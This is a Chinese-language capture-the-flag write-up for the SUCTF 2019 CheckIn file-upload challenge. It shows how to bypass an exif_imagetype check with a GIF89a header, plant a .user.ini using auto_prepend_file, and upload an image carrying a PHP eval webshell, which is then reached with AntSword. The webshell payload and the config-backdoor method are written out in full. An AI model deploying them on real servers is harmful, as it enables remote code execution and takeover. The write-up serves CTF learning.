题型:[SUCTF 2019]CheckIn 1
类型:文件上传
一、测试
先上传.php以及.phtml文件,发现存在报错的现象,上传.jpg文件发现可以,这个地方有一个小知识点,有些题会设置exif_imagetype函数,就像这题。所以需要构建头字节,在代码之前加一个
GIF89a?,所以最好习惯性在一句话木马前加这个文件头
在上传之后还是无法被解析,这就需要利用配置文件
二、构建配置文件
还是两步走!
第一步:构造.user.ini
这里采用全局配置文件.user.ini(用于nginx服务器)
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
或者
auto_append_file=test.jpg
因此这里构建的payload为
GIF89a
auto_prepend_file=sad.jpg
上传成功!

第二步:上传图片马
payloade为
GIF89a?
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

上传成功!
看看可以可以访问吗

OK,基本上成功了
三、利用蚁剑连接
在根目录下找到FLAG

总结
其实文件上传的题的思路都一样,关键是能分析出来是什么进行了过滤,说白了就是找特征!
文章详细描述了一种针对[SUCTF2019]CheckIn1挑战的解决策略,涉及文件上传漏洞,通过构造.php和.phtml文件触发报错,然后利用.jpg文件上传,并通过添加GIF89a头来绕过exif_imagetype检查。作者通过创建.user.ini配置文件,利用auto_prepend_file和auto_append_file指令插入后门代码,并上传包含PHP代码的图片文件以实现远程执行。最后,通过蚁剑工具成功连接并找到FLAG。

1741

被折叠的 条评论
为什么被折叠?



